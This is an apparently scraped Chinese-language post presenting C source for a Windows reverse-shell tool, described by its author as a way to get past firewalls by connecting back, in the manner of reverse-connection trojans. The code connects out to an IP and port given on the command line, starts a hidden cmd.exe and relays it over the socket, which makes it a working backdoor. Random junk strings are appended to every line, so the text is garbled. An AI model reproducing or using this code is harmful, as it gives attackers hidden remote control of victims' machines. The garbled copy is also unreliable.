这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZC^NhgX
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/* ============================== Ue>{n{H"y
Rebound port in Windows NT ;R@D
By wind,2006/7 sfy}J1xIL
===============================*/ Bob-qCBV
#include 2^r J|Ni
#include m|OB_[9
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#pragma comment(lib,"wsock32.lib") pWH,nn?w.
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void OutputShell(); bV"t;R9
SOCKET sClient; Pj!f^MN
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |tse"A5Z
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void main(int argc,char **argv) LEX @hkh
{ vbG&F.P
WSADATA stWsaData; 43O5|8o
int nRet; 2,|;qFJY-@
SOCKADDR_IN stSaiClient,stSaiServer; ID{XZ
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if(argc != 3) -]n%+,3L
{ 3kwkU
printf("Useage:\n\rRebound DestIP DestPort\n"); W|s";EAM
return; T)ISDK4>S"
} 9E[==2TO
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WSAStartup(MAKEWORD(2,2),&stWsaData); xZ>j Q_}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ip1gCH/?_+
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stSaiClient.sin_family = AF_INET; )me`Ud
stSaiClient.sin_port = htons(0); 2Je]dj4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _qo\E=E
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) uotW[L9
{ }-u%6KZ
printf("Bind Socket Failed!\n"); ~sq@^<M)s
return; ?a1pO#{Dg
} 6)20%*[
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stSaiServer.sin_family = AF_INET; 7QoMroR
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~mMTfC~9
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K5jeazasp
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7;&,LH
{ Sn'
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printf("Connect Error!"); L1y71+iqU
return; cRWB`&
} lWT`y
OutputShell(); i` ay9J8N
} ,@Kn@%?$
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void OutputShell() ZNL+w4
{ g=,}j]tl
char szBuff[1024]; tvq((2
SECURITY_ATTRIBUTES stSecurityAttributes; F!*GrQms
OSVERSIONINFO stOsversionInfo; ?zbW z=nq
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k_Y7<z0G
STARTUPINFO stStartupInfo; es=OWJt^
char *szShell; Ki&a"Fu3
PROCESS_INFORMATION stProcessInformation; -*Th=B-
unsigned long lBytesRead; 9QL%q;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8%xBSob{j
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =);@<Jp
stSecurityAttributes.lpSecurityDescriptor = 0; j['B9vG
stSecurityAttributes.bInheritHandle = TRUE; _aJKt3GQ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *v?kp>O
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^Xu4N"@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Zr7NKs
stStartupInfo.wShowWindow = SW_HIDE; (Nv-wU
stStartupInfo.hStdInput = hReadPipe; )?c,&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;K%/sIIke
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GetVersionEx(&stOsversionInfo); {t!7r_hj
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switch(stOsversionInfo.dwPlatformId) NK(_ &.F
{ M CP GDr
case 1: 2% OAQ(
szShell = "command.com"; ()F{kM8
break; 1xkrhqq
default: DH.UJ+
szShell = "cmd.exe"; W8;!rFW
break; Re
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} Jyr
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %H2ios[UO
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send(sClient,szMsg,77,0); ,VSO;:Z
while(1) c"pOi&
{ 5Dz$_2oM3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9cU9'r# h
if(lBytesRead) Bx#=$ka
{ \<09.q<8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `Pc<0*`a
send(sClient,szBuff,lBytesRead,0); GNq
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} bovAFdHW
else M}f(-,9
{ CjP<'0gT
lBytesRead=recv(sClient,szBuff,1024,0); r@bh,U$
if(lBytesRead<=0) break; $bFK2yx?=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zNdkwj p+
} F*r)
} kfT*G
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return; oD1k7Gq1
}